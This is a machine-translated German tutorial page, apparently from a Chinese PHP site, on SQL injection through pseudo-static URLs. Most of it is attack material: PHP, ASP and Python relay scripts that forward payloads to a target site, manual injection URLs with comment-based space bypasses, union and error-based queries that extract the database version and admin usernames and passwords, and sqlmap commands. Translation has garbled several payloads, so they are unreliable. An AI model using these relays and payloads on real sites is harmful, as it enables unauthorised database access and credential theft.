Heim >Backend-Entwicklung >PHP-Tutorial >PHP-Analyse für pseudostatische Injektion

PHP-Analyse für pseudostatische Injektion

不言
不言Original
2018-06-21 09:39:481965Durchsuche

Dieser Artikel stellt hauptsächlich die Pseudostatik-Injektion in PHP vor und fasst die häufige Pseudostatik-Injektion in PHP in Form von Beispielen zusammen. Er enthält auch verwandte Operationscodes von ASP und Python, die einen bestimmten Referenzwert haben Informationen zur PHP-Programmsicherheit finden Sie unter

. Dieser Artikel beschreibt das Beispiel von PHP für die pseudostatische Injektion. Teilen Sie es als Referenz mit allen. Die Details lauten wie folgt:

1: Transit-Injection-Methode

1 Über http://. www.xxx.com/news.php?id=1 wurde so, nachdem es pseudostatisch gemacht wurde:
http://www.xxx.com/news.php/id/1.html

2 . Testschritte:

Übertragen Sie den injizierten PHP-Code: inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3 http://127.0.0.1/inject.php?id=1

Injection-Schwachstellen können über sqlmap oder havj ausgeführt werden.

Anhang ASP-Übertragungscode:

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
&#39;JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
&#39;vstrin=replace(vstrin,"%","%25") &#39;增加转换搜索字符,
&#39;vstrin=Replace(vstrin,chr(32),"%20") &#39;转换空格,如果网站过滤了空格,尝试用/**/来代替%20
&#39;vstrin=Replace(vstrin,chr(43),"%2B")  &#39;JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  &#39;在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

2. Manuelle Injektionsmethode

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2 Injektion:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http ://www.xxx.com/play/Diablo'/**/und
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/ **/und
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/Und/**/1=1/*.html Normal
http://www.xxx.com/page/html/?56′/**/Und/**/1=2/*.html Fehler

3. Überprüfen Sie, ob es Unterschiede gibt Wenn sie auf den Seiten gleich sind, existieren sie nicht, und wenn sie unterschiedlich sind, werden sie eingefügt.

4. Union-Abfrage:

http://www.xxx.com/play/diablo' und 1=2 Union Select 1,2… frominformation_schema.columns, wobei 1='1. html
http://www.xxx.com/page/html/?56'/**/Und/**/(SELECT/**/1/**/(wählen/**/aus/**/count(* ),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/Gruppe/**/a)b)=1/*.html

Manuelle Injektionsmethode (2)

http://www.xxx.net /news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/1/**/(wählen/**/concat(Benutzer,0x3a,Passwort)/**/select/**/pwn_base_admin/**/0,1),0x3a)a/**/information_schema.tables/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/von/**/where'1'='1.html

Hinweis:

Pseudostatische Injektion ist nicht dasselbe wie gewöhnliche GET-Injektion einer URL

. %20, %23, + usw., die durch Get normaler URLs eingefügt werden, können verwendet werden. Pseudostatisch funktioniert jedoch nicht und wird direkt an die URL übergeben. Verwenden Sie daher /*.**/limit/*******/a)b/***/Dieses Kommentarsymbol Gibt Leerzeichen an.

3. SQLmap-Methode

Fügen Sie *
http:// hinzu, wo immer sich ein pseudostatischer Injektionspunkt befindet sqlmap. www.cunlide.com/id1/1/id2/2
python sqlmap.py -u „http://www.xxx.com/id1/1*/id2/2″
http:/ /www .xxx.com/news/class/?103.htm
python sqlmap.py -u „http://www.xxx.com/news/class/?103*.html“

4. Python-Skriptmethode

Code:

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find(&#39;id=&#39;)+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

oben Das ist der gesamte Inhalt dieses Artikels. Ich hoffe, dass er für das Lernen aller hilfreich ist. Weitere verwandte Inhalte finden Sie auf der chinesischen PHP-Website

Verwandte Empfehlungen:

Über statische Variablen und Analyse der Verwendung statischer statischer Variablen

PHP implementiert die Extraktion des Stammdomänennamens über die URL

Das obige ist der detaillierte Inhalt vonPHP-Analyse für pseudostatische Injektion. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn